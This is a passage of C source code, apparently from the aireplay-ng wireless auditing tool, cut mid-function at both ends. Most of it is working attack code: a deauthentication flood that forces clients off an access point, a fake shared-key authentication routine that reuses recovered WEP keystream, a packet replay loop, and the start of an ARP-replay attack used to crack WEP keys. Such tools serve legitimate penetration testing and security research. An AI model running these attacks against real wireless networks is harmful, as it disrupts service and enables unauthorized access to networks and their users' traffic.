h80211[mi_b + 2], h80211[mi_b + 3], h80211[mi_b + 4], h80211[mi_b + 5] ); } printf( " Dest. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_d ], h80211[mi_d + 1], h80211[mi_d + 2], h80211[mi_d + 3], h80211[mi_d + 4], h80211[mi_d + 5] ); printf( " Source MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_s ], h80211[mi_s + 1], h80211[mi_s + 2], h80211[mi_s + 3], h80211[mi_s + 4], h80211[mi_s + 5] ); /* print a hex dump of the packet */ for( i = 0; i < *caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf( "\n\nUse this packet ? " ); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) break; } if(!just_grab) { pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_src-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving chosen packet in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = *caplen; pkh.len = *caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); } return( 0 ); } int read_prga(unsigned char **dest, char *file) { FILE *f; int size; if(file == NULL) return( 1 ); if(*dest == NULL) *dest = (unsigned char*) malloc(1501); f = fopen(file, "r"); if(f == NULL) { printf("Error opening %s\n", file); return( 1 ); } fseek(f, 0, SEEK_END); size = ftell(f); rewind(f); if(size > 1500) size = 1500; if( fread( (*dest), size, 1, f ) != 1 ) { fprintf( stderr, "fread failed\n" ); return( 1 ); } opt.prgalen = size; fclose(f); return( 0 ); } void add_icv(uchar *input, int len, int offset) { unsigned long crc = 0xFFFFFFFF; int n=0; for( n = offset; n < len; n++ ) crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; input[len] = (crc ) & 0xFF; input[len+1] = (crc >> 8) & 0xFF; input[len+2] = (crc >> 16) & 0xFF; input[len+3] = (crc >> 24) & 0xFF; return; } void send_fragments(uchar *packet, int packet_len, uchar *iv, uchar *keystream, int fragsize, int ska) { int t, u; int data_size; uchar frag[32+fragsize]; int pack_size; int header_size=24; data_size = packet_len-header_size; packet[23] = (rand() % 0xFF); for (t=0; t+=fragsize;) { //Copy header memcpy(frag, packet, header_size); //Copy IV + KeyIndex memcpy(frag+header_size, iv, 4); //Copy data if(fragsize <= packet_len-(header_size+t-fragsize)) memcpy(frag+header_size+4, packet+header_size+t-fragsize, fragsize); else memcpy(frag+header_size+4, packet+header_size+t-fragsize, packet_len-(header_size+t-fragsize)); //Make ToDS frame if(!ska) { frag[1] |= 1; frag[1] &= 253; } //Set fragment bit if (t< data_size) frag[1] |= 4; if (t>=data_size) frag[1] &= 251; //Fragment number frag[22] = 0; for (u=t; u-=fragsize;) { frag[22] += 1; } // frag[23] = 0; //Calculate packet length if(fragsize <= packet_len-(header_size+t-fragsize)) pack_size = header_size + 4 + fragsize; else pack_size = header_size + 4 + (packet_len-(header_size+t-fragsize)); //Add ICV add_icv(frag, pack_size, header_size + 4); pack_size += 4; //Encrypt xor_keystream(frag + header_size + 4, keystream, fragsize+4); //Send send_packet(frag, pack_size); if (t=data_size) break; } } int do_attack_deauth( void ) { int i, n; int aacks, sacks, caplen; struct timeval tv; fd_set rfds; if(getnet(NULL, 0, 1) != 0) return 1; if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 ) printf( "NB: this attack is more effective when targeting\n" "a connected wireless client (-c ).\n" ); n = 0; while( 1 ) { if( opt.a_count > 0 && ++n > opt.a_count ) break; usleep( 180000 ); if( memcmp( opt.r_dmac, NULL_MAC, 6 ) != 0 ) { /* deauthenticate the target */ memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); aacks = 0; sacks = 0; for( i = 0; i < 64; i++ ) { if(i == 0) { PCT; printf( "Sending 64 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.r_dmac[0], opt.r_dmac[1], opt.r_dmac[2], opt.r_dmac[3], opt.r_dmac[4], opt.r_dmac[5], sacks, aacks ); } memcpy( h80211 + 4, opt.r_dmac, 6 ); memcpy( h80211 + 10, opt.r_bssid, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_dmac, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); while( 1 ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 0; tv.tv_usec = 1000; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) break; caplen = read_packet( tmpbuf, sizeof( tmpbuf ), NULL ); if(caplen <= 0 ) break; if(caplen != 10) continue; if( tmpbuf[0] == 0xD4) { if( memcmp(tmpbuf+4, opt.r_dmac, 6) == 0 ) { aacks++; } if( memcmp(tmpbuf+4, opt.r_bssid, 6) == 0 ) { sacks++; } PCT; printf( "Sending 64 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.r_dmac[0], opt.r_dmac[1], opt.r_dmac[2], opt.r_dmac[3], opt.r_dmac[4], opt.r_dmac[5], sacks, aacks ); } } } printf("\n"); } else { /* deauthenticate all stations */ PCT; printf( "Sending DeAuth to broadcast -- BSSID:" " [%02X:%02X:%02X:%02X:%02X:%02X]\n", opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2], opt.r_bssid[3], opt.r_bssid[4], opt.r_bssid[5] ); memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 4, BROADCAST, 6 ); memcpy( h80211 + 10, opt.r_bssid, 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); for( i = 0; i < 128; i++ ) { if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); } } } return( 0 ); } int do_attack_fake_auth( void ) { time_t tt, tr; struct timeval tv, tv2, tv3; fd_set rfds; int i, n, state, caplen, z; int mi_b, mi_s, mi_d; int x_send; int kas; int tries; int retry = 0; int abort; int gotack = 0; uchar capa[2]; int deauth_wait=3; int ska=0; int keystreamlen=0; int challengelen=0; int weight[16]; int notice=0; int packets=0; int aid=0; unsigned char ackbuf[14]; unsigned char ctsbuf[10]; unsigned char iv[4]; unsigned char challenge[2048]; unsigned char keystream[2048]; if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(capa, 0, 1) != 0) return 1; if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32) { printf( "Please specify an ESSID (-e).\n" ); return 1; } memcpy( ackbuf, "\xD4\x00\x00\x00", 4 ); memcpy( ackbuf + 4, opt.r_bssid, 6 ); memset( ackbuf + 10, 0, 4 ); memcpy( ctsbuf, "\xC4\x00\x94\x02", 4 ); memcpy( ctsbuf + 4, opt.r_bssid, 6 ); tries = 0; abort = 0; state = 0; x_send=opt.npackets; if(opt.npackets == 0) x_send=4; if(opt.prga != NULL) ska=1; tt = time( NULL ); tr = time( NULL ); while( 1 ) { switch( state ) { case 0: if (opt.f_retry > 0) { if (retry == opt.f_retry) { abort = 1; return 1; } ++retry; } if(ska && keystreamlen == 0) { opt.fast = 1; //don't ask for approval memcpy(opt.f_bssid, opt.r_bssid, 6); //make the filter bssid the same, that is used for auth'ing if(opt.prga==NULL) { while(keystreamlen < 16) { capture_ask_packet(&caplen, 1); //wait for data packet z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; memcpy(iv, h80211+z, 4); //copy IV+IDX i = known_clear(keystream, &keystreamlen, weight, h80211, caplen-z-4-4); //recover first bytes if(i>1) { keystreamlen=0; } for(i=0;i= 2 ) { if(opt.npackets > 0) { tries++; if( tries > 15 ) { abort = 1; } } else { if( x_send < 256 ) { x_send *= 2; } else { abort = 1; } } if( abort ) { printf( "\nAttack was unsuccessful. Possible reasons:\n\n" " * Perhaps MAC address filtering is enabled.\n" " * Check that the BSSID (-a option) is correct.\n" " * Try to change the number of packets (-o option).\n" " * The driver/card doesn't support injection.\n" " * This attack sometimes fails against some APs.\n" " * The card is not on the same channel as the AP.\n" " * You're too far from the AP. Get closer, or lower\n" " the transmit rate.\n\n" ); return( 1 ); } state = 0; challengelen = 0; printf("\n"); } break; case 2: state = 3; tt = time( NULL ); /* attempt to authenticate using ska */ memcpy( h80211, AUTH_REQ, 30 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); h80211[1] |= 0x40; //set wep bit, as this frame is encrypted memcpy(h80211+24, iv, 4); memcpy(h80211+28, challenge, challengelen); h80211[28] = 0x01; //its always ska in state==2 h80211[30] = 0x03; //auth sequence number 3 fflush(stdout); if(keystreamlen < challengelen+4 && notice == 0) { notice = 1; if(opt.prga != NULL) { PCT; printf( "Specified xor file (-y) is too short, you need at least %d keystreambytes.\n", challengelen+4); } else { PCT; printf( "You should specify a xor file (-y) with at least %d keystreambytes\n", challengelen+4); } PCT; printf( "Trying fragmented shared key fake auth.\n"); } PCT; printf( "Sending encrypted challenge." ); fflush( stdout ); gotack=0; gettimeofday(&tv2, NULL); for( i = 0; i < x_send; i++ ) { if(keystreamlen < challengelen+4) { packets=(challengelen)/(keystreamlen-4); if( (challengelen)%(keystreamlen-4) != 0 ) packets++; memcpy(h80211+24, challenge, challengelen); h80211[24]=0x01; h80211[26]=0x03; send_fragments(h80211, challengelen+24, iv, keystream, keystreamlen-4, 1); } else { add_icv(h80211, challengelen+28, 28); xor_keystream(h80211+28, keystream, challengelen+4); send_packet(h80211, 24+4+challengelen+4); } if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 3: /* waiting for an authentication response (using ska) */ if( time( NULL ) - tt >= 2 ) { if(opt.npackets > 0) { tries++; if( tries > 15 ) { abort = 1; } } else { if( x_send < 256 ) { x_send *= 2; } else { abort = 1; } } if( abort ) { printf( "\nAttack was unsuccessful. Possible reasons:\n\n" " * Perhaps MAC address filtering is enabled.\n" " * Check that the BSSID (-a option) is correct.\n" " * Try to change the number of packets (-o option).\n" " * The driver/card doesn't support injection.\n" " * This attack sometimes fails against some APs.\n" " * The card is not on the same channel as the AP.\n" " * You're too far from the AP. Get closer, or lower\n" " the transmit rate.\n\n" ); return( 1 ); } state = 0; challengelen=0; printf("\n"); } break; case 4: tries = 0; state = 5; if(opt.npackets == -1) x_send *= 2; tt = time( NULL ); /* attempt to associate */ memcpy( h80211, ASSOC_REQ, 28 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); n = strlen( opt.r_essid ); if( n > 32 ) n = 32; h80211[28] = 0x00; h80211[29] = n; memcpy( h80211 + 30, opt.r_essid, n ); memcpy( h80211 + 30 + n, RATES, 16 ); memcpy( h80211 + 24, capa, 2); PCT; printf( "Sending Association Request" ); fflush( stdout ); gotack=0; for( i = 0; i < x_send; i++ ) { if( send_packet( h80211, 46 + n ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 5: /* waiting for an association response */ if( time( NULL ) - tt >= 5 ) { if( x_send < 256 && (opt.npackets == -1) ) x_send *= 4; state = 0; challengelen = 0; printf("\n"); } break; case 6: if( opt.a_delay == 0 ) { printf("\n"); return( 0 ); } if( time( NULL ) - tt >= opt.a_delay ) { if(opt.npackets == -1) x_send = 4; state = 0; challengelen = 0; break; } if( time( NULL ) - tr >= opt.delay ) { tr = time( NULL ); printf("\n"); PCT; printf( "Sending keep-alive packet" ); fflush( stdout ); gotack=0; memcpy( h80211, NULL_DATA, 24 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); if( opt.npackets > 0 ) kas = opt.npackets; else kas = 32; for( i = 0; i < kas; i++ ) if( send_packet( h80211, 24 ) < 0 ) return( 1 ); } break; default: break; } /* read one frame */ FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 1; tv.tv_usec = 0; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) continue; caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; if( caplen == 10 && h80211[0] == 0xD4) { if( memcmp(h80211+4, opt.r_smac, 6) == 0 ) { gotack++; if(gotack==1) { printf(" [ACK]"); fflush( stdout ); } } } gettimeofday(&tv3, NULL); //wait 100ms for acks if ( (((tv3.tv_sec*1000000 - tv2.tv_sec*1000000) + (tv3.tv_usec - tv2.tv_usec)) > (100*1000)) && (gotack > 0) && (gotack < packets) && (state == 3) && (packets > 1) ) { PCT; printf("Not enough acks, repeating...\n"); state=2; continue; } if( caplen < 24 ) continue; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } /* check if the dest. MAC is ours and source == AP */ if( memcmp( h80211 + mi_d, opt.r_smac, 6 ) == 0 && memcmp( h80211 + mi_b, opt.r_bssid, 6 ) == 0 && memcmp( h80211 + mi_s, opt.r_bssid, 6 ) == 0 ) { /* check if we got an deauthentication packet */ if( h80211[0] == 0xC0 ) //removed && state == 4 { printf("\n"); PCT; printf( "Got a deauthentication packet! (Waiting %d seconds)\n", deauth_wait ); if(opt.npackets == -1) x_send = 4; state = 0; challengelen = 0; read_sleep( deauth_wait * 1000000 ); deauth_wait += 2; continue; } /* check if we got an disassociation packet */ if( h80211[0] == 0xA0 && state == 6 ) { printf("\n"); PCT; printf( "Got a disassociation packet! (Waiting %d seconds)\n", deauth_wait ); if(opt.npackets == -1) x_send = 4; state = 0; challengelen = 0; read_sleep( deauth_wait ); deauth_wait += 2; continue; } /* check if we got an authentication response */ if( h80211[0] == 0xB0 && (state == 1 || state == 3) ) { if(ska) { if( (state==1 && h80211[26] != 0x02) || (state==3 && h80211[26] != 0x04) ) continue; } printf("\n"); PCT; state = 0; if( caplen < 30 ) { printf( "Error: packet length < 30 bytes\n" ); read_sleep( 3*1000000 ); challengelen = 0; continue; } if( (h80211[24] != 0 || h80211[25] != 0) && ska==0) { ska=1; printf("Switching to shared key authentication\n"); read_sleep(2*1000000); //read sleep 2s challengelen = 0; continue; } n = h80211[28] + ( h80211[29] << 8 ); if( n != 0 ) { switch( n ) { case 1: printf( "AP rejects the source MAC address (%02X:%02X:%02X:%02X:%02X:%02X) ?\n", opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] ); break; case 10: printf( "AP rejects our capabilities\n" ); break; case 13: case 15: ska=1; if(h80211[26] == 0x02) printf("Switching to shared key authentication\n"); if(h80211[26] == 0x04) { printf("Challenge failure\n"); challengelen=0; } read_sleep(2*1000000); //read sleep 2s challengelen = 0; continue; default: break; } printf( "Authentication failed (code %d)\n", n ); if(opt.npackets == -1) x_send = 4; read_sleep( 3*1000000 ); challengelen = 0; continue; } if(ska && h80211[26]==0x02 && challengelen == 0) { memcpy(challenge, h80211+24, caplen-24); challengelen=caplen-24; } if(ska) { if(h80211[26]==0x02) { state = 2; /* grab challenge */ printf( "Authentication 1/2 successful\n" ); } if(h80211[26]==0x04) { state = 4; printf( "Authentication 2/2 successful\n" ); } } else { printf( "Authentication successful\n" ); state = 4; /* auth. done */ } } /* check if we got an association response */ if( h80211[0] == 0x10 && state == 5 ) { printf("\n"); state = 0; PCT; if( caplen < 30 ) { printf( "Error: packet length < 30 bytes\n" ); sleep( 3 ); challengelen = 0; continue; } n = h80211[26] + ( h80211[27] << 8 ); if( n != 0 ) { switch( n ) { case 1: printf( "Denied (code 1), is WPA in use ?\n" ); break; case 10: printf( "Denied (code 10), open (no WEP) ?\n" ); break; case 12: printf( "Denied (code 12), wrong ESSID or WPA ?\n" ); break; default: printf( "Association denied (code %d)\n", n ); break; } sleep( 3 ); challengelen = 0; continue; } aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF); printf( "Association successful :-) (AID: %d)\n", aid ); deauth_wait = 3; fflush( stdout ); tt = time( NULL ); tr = time( NULL ); state = 6; /* assoc. done */ } } } return( 0 ); } int do_attack_interactive( void ) { int caplen, n, z; int mi_b, mi_s, mi_d; struct timeval tv; struct timeval tv2; float f, ticks[3]; unsigned char bssid[6]; unsigned char smac[6]; unsigned char dmac[6]; read_packets: if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; /* rewrite the frame control & MAC addresses */ switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } if( memcmp( opt.r_bssid, NULL_MAC, 6 ) == 0 ) memcpy( bssid, h80211 + mi_b, 6 ); else memcpy( bssid, opt.r_bssid, 6 ); if( memcmp( opt.r_smac , NULL_MAC, 6 ) == 0 ) memcpy( smac, h80211 + mi_s, 6 ); else memcpy( smac, opt.r_smac, 6 ); if( memcmp( opt.r_dmac , NULL_MAC, 6 ) == 0 ) memcpy( dmac, h80211 + mi_d, 6 ); else memcpy( dmac, opt.r_dmac, 6 ); if( opt.r_fctrl != -1 ) { h80211[0] = opt.r_fctrl >> 8; h80211[1] = opt.r_fctrl & 0xFF; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } } memcpy( h80211 + mi_b, bssid, 6 ); memcpy( h80211 + mi_s, smac , 6 ); memcpy( h80211 + mi_d, dmac , 6 ); /* loop resending the packet */ /* Check if airodump-ng is running. If not, print that message */ printf( "You should also start airodump-ng to capture replies.\n\n" ); signal( SIGINT, sighandler ); ctrl_c = 0; memset( ticks, 0, sizeof( ticks ) ); nb_pkt_sent = 0; while( 1 ) { if( ctrl_c ) goto read_packets; /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %ld packets...(%d pps)\33[K\r", nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION))); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION < 1 ) continue; /* threshold reached */ ticks[2] = 0; if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( h80211, caplen ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( h80211, caplen ) < 0 ) return( 1 ); } } return( 0 ); } int do_attack_arp_resend( void ) { int nb_bad_pkt; int arp_off1, arp_off2; int i, n, caplen, nb_arp, z; long nb_pkt_read, nb_arp_tot, nb_ack_pkt; time_t tc; float f, ticks[3]; struct timeval tv; struct timeval tv2; struct tm *lt; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; struct ARP_req * arp; if ( opt.ringbuffer ) arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); else arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) ); /* capture only WEP data to broadcast address */ opt.f_type = 2; opt.f_subtype = 0; opt.f_iswep = 1; memset( opt.f_dmac, 0xFF, 6 ); if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(NULL, 1, 1) != 0) return 1; /* create and write the output pcap header */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_arp-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving ARP requests in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } fflush( f_cap_out ); printf( "You should also start airodump-ng to capture replies.\n" ); if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } memset( ticks, 0, sizeof( ticks ) ); tc = time( NULL ) - 11; nb_pkt_read = 0; nb_bad_pkt = 0; nb_ack_pkt = 0; nb_arp = 0; nb_arp_tot = 0; arp_off1 = 0; arp_off2 = 0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rRead %ld packets (got %ld ARP requests and %ld ACKs), " "sent %ld packets...(%d pps)\r", nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) ); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* threshold reach, send one frame */ ticks[2] = 0; if( nb_arp > 0 ) { if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); } if( ++arp_off1 >= nb_arp ) arp_off1 = 0; } } /* read a frame, and check if it's an ARP request */ if( opt.s_file == NULL ) { gettimeofday( &tv, NULL ); caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; } else { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( pkh.caplen ); tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } } nb_pkt_read++; /* check if it's a disas. or deauth packet */ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_bad_pkt++; if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 ) { printf( "\33[KNotice: got a deauth/disassoc packet. Is the " "source MAC associated ?\n" ); tc = time( NULL ); nb_bad_pkt = 0; } } if( h80211[0] == 0xD4 && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_ack_pkt++; } /* check if it's a potential ARP request */ opt.f_minlen = opt.f_maxlen = 68; if( filter_packet( h80211, caplen ) == 0 ) goto add_arp; opt.f_minlen = opt.f_maxlen = 86; if( filter_packet( h80211, caplen ) == 0 ) { add_arp: z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 1: /* ToDS */ { /* keep as a ToDS packet */ memcpy( h80211 + 4, opt.f_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.f_dmac, 6 ); h80211[1] = 0x41; /* ToDS & WEP */ } case 2: /* FromDS */ { if( opt.r_fromdsinj ) { /* keep as a FromDS packet */ memcpy( h80211 + 4, opt.f_dmac, 6 ); memcpy( h80211 + 10, opt.f_bssid, 6 ); memcpy( h80211 + 16, opt.r_smac, 6 ); h80211[1] = 0x42; /* FromDS & WEP */ } else { /* rewrite header to make it a ToDS packet */ memcpy( h80211 + 4, opt.f_bssid, 6 ); memcpy( h80211 + 10, 